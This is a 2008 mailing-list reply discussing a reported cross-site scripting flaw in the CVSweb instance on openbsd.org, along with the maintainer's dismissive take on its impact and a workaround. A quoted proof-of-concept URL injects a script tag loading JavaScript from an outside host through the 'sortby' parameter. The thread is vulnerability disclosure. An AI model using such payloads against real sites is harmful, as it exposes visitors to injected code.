Re: XSS vulnerability in OpenBSD's CVSweb

* Edd Barrett <[email protected]> [2008-08-22 10:30]:
> Afternoon,
> 
> On Fri, Aug 22, 2008 at 7:47 AM, Reed Loden <[email protected]> wrote:
> > Greetings,
> >
> > There's an XSS vulnerability in www.openbsd.org's CVSweb instance:
> > http://www.openbsd.org/cgi-bin/cvsweb/src/?sortby=%22%3E%3Cscript%20src=%22http://wakaba.c3.cx/bee.js%22%3E%3C/script%3E
> >
> > I'd appreciate it if this could get fixed ASAP, as it hurts OpenBSD's
> > stance/reputation on security by having an open XSS vuln on its main
> > website.
> >
> > I'm trusting that you all know that XSS is bad, blah blah, etc. If you
> > all need any more information on why XSS is a very bad thing, just let
> > me know.
	
	It only matters if we use cookies and ilk for authentication (we don't)
or if you care that a url starting with openbsd.org could be sent to you containing
some nasty javascript applet that pwns the world, and somehow you would think this
has anything to do with openbsd rather than the insecurity of your web browser.


> 
> You can probably fix this by stripping <, >, " and ' (possibly others)
> from the GET variables.

this simplistic fix will affect your ability to look for such things in code,
which is probably not what you want if you want cvsweb to be useful.

> 
> I don't know much about perl otherwise I would jump in.

I'll fix it properly when I have time and I'm not chasing more important bugs. In the meantime
I have implemented an appropriate workaround so that god forbid, you'll never get a url with
embedded js in it to possibly make you think cvsweb is evil.

-Bob